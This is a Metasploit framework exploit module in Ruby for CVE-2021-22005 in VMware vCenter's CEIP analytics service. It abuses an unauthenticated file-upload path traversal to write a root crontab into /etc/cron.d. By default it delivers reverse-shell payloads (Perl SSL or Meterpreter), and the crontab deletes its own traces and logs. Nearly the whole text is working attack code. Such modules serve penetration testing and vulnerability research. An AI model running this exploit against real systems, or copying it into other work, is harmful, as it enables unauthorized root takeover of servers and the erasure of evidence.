## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'VMware vCenter Server Analytics (CEIP) Service File Upload', 'Description' => %q{ This module exploits a file upload in VMware vCenter Server's analytics/telemetry (CEIP) service to write a system crontab and execute shell commands as the root user. Note that CEIP must be enabled for the target to be exploitable by this module. CEIP is enabled by default. }, 'Author' => [ 'George Noseevich', # Discovery 'Sergey Gerasimov', # Discovery 'VMware', # Initial PoC 'Derek Abdine', # Analysis 'wvu' # Analysis and exploit ], 'References' => [ ['CVE', '2021-22005'], ['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0020.html'], ['URL', 'https://attackerkb.com/topics/15E0q0tdEZ/cve-2021-22005/rapid7-analysis'], ['URL', 'https://censys.io/blog/vmware-cve-2021-22005-technical-impact-analysis/'], ['URL', 'https://testbnull.medium.com/quick-note-of-vcenter-rce-cve-2021-22005-4337d5a817ee'] ], 'DisclosureDate' => '2021-09-21', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'WfsDelay' => 60 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/analytics/telemetry/ph/api/level'), 'vars_get' => { '_c' => '' } ) return CheckCode::Unknown unless res unless res.code == 200 && res.body == '"FULL"' return CheckCode::Safe('CEIP is not fully enabled.') end CheckCode::Appears('CEIP is fully enabled.') end def exploit print_status('Creating path traversal') unless write_file(rand_text_alphanumeric(8..16)) fail_with(Failure::NotVulnerable, 'Failed to create path traversal') end print_good('Successfully created path traversal') print_status("Executing #{payload_instance.refname} (#{target.name})") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end print_warning("Please wait up to #{wfs_delay} seconds for a session") end def execute_command(cmd, _opts = {}) print_status("Writing system crontab: #{crontab_path}") crontab_file = crontab(cmd) vprint_line(crontab_file) unless write_file("../../../../../../etc/cron.d/#{crontab_name}", crontab_file) fail_with(Failure::PayloadFailed, 'Failed to write system crontab') end print_good('Successfully wrote system crontab') end def write_file(path, data = nil) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/analytics/telemetry/ph/api/hyper/send'), 'ctype' => 'application/json', 'vars_get' => { '_c' => '', '_i' => "/#{path}" }, 'data' => data ) return false unless res&.code == 201 true end def crontab(cmd) # https://man7.org/linux/man-pages/man5/crontab.5.html <<~CRONTAB.strip * * * * * root rm -rf #{crontab_path} /var/log/vmware/analytics/prod/_c_i/ * * * * * root #{cmd} CRONTAB end def crontab_path "/etc/cron.d/#{crontab_name}.json" end def crontab_name @crontab_name ||= rand_text_alphanumeric(8..16) end end